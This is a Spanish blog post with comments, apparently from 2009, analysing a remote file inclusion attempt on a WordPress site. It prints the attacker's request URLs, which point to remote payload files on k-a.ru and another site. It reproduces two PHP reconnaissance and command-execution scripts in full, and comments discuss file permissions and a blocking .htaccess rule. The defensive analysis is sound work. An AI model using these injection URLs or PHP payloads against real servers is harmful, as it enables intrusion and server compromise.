ACTUALIZADO
Definitivamente las cosas no suceden de gratis o por casualidad en la vida.
Luego de escribir sobre lo que le está sucediendo a cvander de ForosDelWeb.com, me pongo a revisar mis estadísticas y bitácoras de acceso y me encuentro con una joyita.
Para llevar mis estadísticas utilizo tres herramientas: Las de mi propio hosting, Google Analytics y el plugin CyStats.
Éste último es el que utilizo para el “día a día” mientras que el de Google lo utilizo a fin de mes y el de mi hosting eventualmente, sobre todo para verificar cosas que me dicen los otros dos.
El caso es que revisando los últimos hits en CyStats, me encuentro con tres entradas muy interesantes:
| 65.98.3.250 | LIBWWW-PERL/5.810 | February 16, 2009 10:38 pm | GET | BLOG | /?action=http://k-a.ru/img/safe1.txt??? |
| 65.98.3.250 | LIBWWW-PERL/5.810 | February 16, 2009 11:10 pm | GET | 404 | /wp-login.php?action=register//?action=http://k-a.… |
| 65.98.3.250 | LIBWWW-PERL/5.810 | February 16, 2009 11:10 pm | GET | BLOG | /?action=http://k-a.ru/img/safe1.txt??? |
La primera columna corresponde a la IP, la segunda corresponde al “browser”, la tercera la fecha, luego el tipo de request ejecutado, el resultado y por último la URL que se accesó o intentó accesar.
Y ahí es donde está lo interesante. Veo que al Wordpres le intentaron pasar por parámetro un archivo ubicado en otro servidor (k-a.ru). Obviamente me fuí a ver qué contenía aquel archivo y me encuentro con lo siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | echo "BraT"; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVER['SERVER_NAME']; $alb8 = gethostbyname($SERVER_ADDR); $alb9 = get_current_user(); $os = @PHP_OS; echo "os: $os"; echo "uname -a: $alb"; echo "uptime: $alb2"; echo "id: $alb3"; echo "pwd: $alb4"; echo "user: $alb9"; echo "phpv: $alb6"; echo "SoftWare: $alb5"; echo "ServerName: $alb7"; echo "ServerAddr: $alb8"; echo "0wnW4y"; exit; |
La intensión definitivamente fue inyectar mi Wordpress y obtener datos de mi instalación como:
- Mi usuario,
- El ID de mi usuario y de mi grupo,
- El directorio raiz de mi instalación,
- La versión del PHP con el cual trabajo entre otras cosas.
Me imagino que luego de obtener esos datos, el amigo tendría tres opciones:
- Intentar accesar vía fuerza bruta a mi cuenta
- Intentar aprovecharse de algún backdoor del wordpress (quien sabe) o
- Accesar desde otra cuenta del mismo servidor compartido donde estoy hospedado y tratar de ganar acceso a mi cuenta.
El caso es que gracias a Dios mi Wordpress no pudo ser inyectado, sin embargo, puede que otros programas distintos a WordPress o versiones distintas a la mía (2.7.1) si sean propensos a este tipo de ataques por lo que sugiero precaución.
Por cierto, la IP de quien intentó tener acceso es la 65.98.3.250, por lo que pareciera estar ubicado en New Jersey, sin embargo, bien podría estarse conectando a través de un proxy.
Buscando en Internet sólo encontré una referencia adicional a este problema, en un blog aleman.
Sólo me queda decirles que tengan cuidado. Intenten ejecutar ustedes mismos esas llamadas en sus propios blogs y ver si son o no propensos a este tipo de ataques.
Dejo abierto los comentarios para quien quiera agregar algo a esta nota.
ACTUALIZACIÓN:
Para los que nos siguen mediante RSS, les contamos que al parecer este tipo de ataques ha estado tomando auge y de diversas formas. Gracias al amigo Stephan por hacernos llegar esta nueva información.
Nos comenta que uno de sus sitios también ha sido objeto de este tipo de ataques aunque con un script diferente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | echo "jimmywho"; $cmd="id"; $eseguicmd=ex($cmd); echo $eseguicmd; function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); }} return $res; } exit; |
Este nuevo script vemos que es un poco mas inteligente ya que intenta accesar a la información mediante caminos distintos. Sin embargo, sólo intenta obtener el user id de la cuenta… suficiente información si se tiene acceso al servidor.
No hay artículos relacionados.
Y no eres el único, lo han intentado conmigo también, pero el código es distinto al utilizado en tu sitio, aquí el mio:
http://www.applsoft.co.yu/images/safe.txt
Inmediatamente me he puesto a escribir un plug-in (patch) que se asegure de que esto no pueda causar daños en WP
Bueno, entonces veo que esto en realidad es, al menos, su segundo paso: Lo primero que hacen es ubicar un directorio en algún sitio web con permisos 777 e insertan ahí su .TXT.
Lo digo porque al parecer las páginas donde alojan estos archivos parecen ser páginas decentes que lo mas seguro es que ni sepan que sus sitios web están siendo utilizados para eso.
Mantenme al tanto del plugin… Aunque la verdad es que este tipo de acción es totalmente reproducible, y exactamente de la misma manera, en cualquier otro script. Hay que pensársela dos veces a la hora de asignar permisología.
De momento, te sugeriría que tu plugin busque recursivamente todos los archivos sage*.txt, lo cual parece ser otra fija. Esto quizás via cron o desde la parte administrativa.
Gracias por tu comentario!
Es básicamente un troyano escrito en PHP, ya está siendo detectado por los principales anti-virus y ya hay cierta información disponible.
Trojan horse PHP/BackDoor.AG
El problema es justamente ese: directorios con permisos 777 en donde insertan sus archivos y desde ahí pueden ejecutar lo que sea.
A esto son especialmente susceptibles los directorios en donde están los plug-ins de Wordpress, de modo que hay que tener especial cuidado con los permisos de dichos directorios, ya que pueden haber gente que escriba “plug-ins” solo con la intención de atacar nuestro sitio, esto no se aplica solo a Wordpress -claro- sino a todos los CMS “gratuitos” que circulan por la red. Hasta donde tengo entendido el más vulnerable de todos es Xoops, ya que su instalación de “plug-ins” por defecto pone permisos 777 en sus directorios.
Sin embargo, fíjate que se han enfocado en los dos ejemplos que tenemos, en el archivo de imágenes.
Yo creo que me voy a correr un scriptcito recursivo que me indique cuales de mis directorios son 777.
Sin embargo, el problema tiene dos caras: El directorio con permisos 777 desde donde se inyecta el código… y el script receptor que permite tal acción.
Lo segundo es mas dificil detectar automáticamente.
Para el segundo caso basta con un .htaccess bien escrito
Te importaría compartir algunas ideas?
Lo dicho, lo primero es NO tener ningún directorio con permisos 777, en el mejor de los casos deberian tener solo 755, que con eso es suficiente para lo que se necesita y para que los usuarios puedan acceder a nuestro contenido.
Por defecto WP pone permisos 755 cuando se instala un plug-in, pero en el caso de no utilizar la instalación desde WP, entonces hay que tener mucho cuidado con que permisos se asignan, por lo general la gente suele dar permisos 777 por ignorancia y no conocer los atributos de su usuario en el servidor.
Otra cosa es (si se puede) crear un usuario no-root el que tenga permisos sobre todos los archivos y este usuario ha de ser miembro del grupo “www-data” (o como se llame el servidor web), de este modo este usuario podrá manejar archivos que el servidor web puede leer, pero el usuario no tendrá mayor poder sobre el servidor.
Finalmente, un archivo .htaccess en la raíz de la instalación que se encargue de distribuir el “tráfico” entrante a donde corresponde, por ejemplo:
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{REQUEST_URI} /(safe|safetext|.txt)
RewriteRule .* http://google.com [L]
RewriteCond %{REQUEST_URI} !\.
RewriteRule .* index.php [L]
De este modo, por ejemplo ninguna petición POST que contenga “safe”, “safetext” o “.txt” llegará a nuestro sitio, esto es solo un ejemplo, pero en base a eso se pueden estructurar accesos mucho más sofisticados.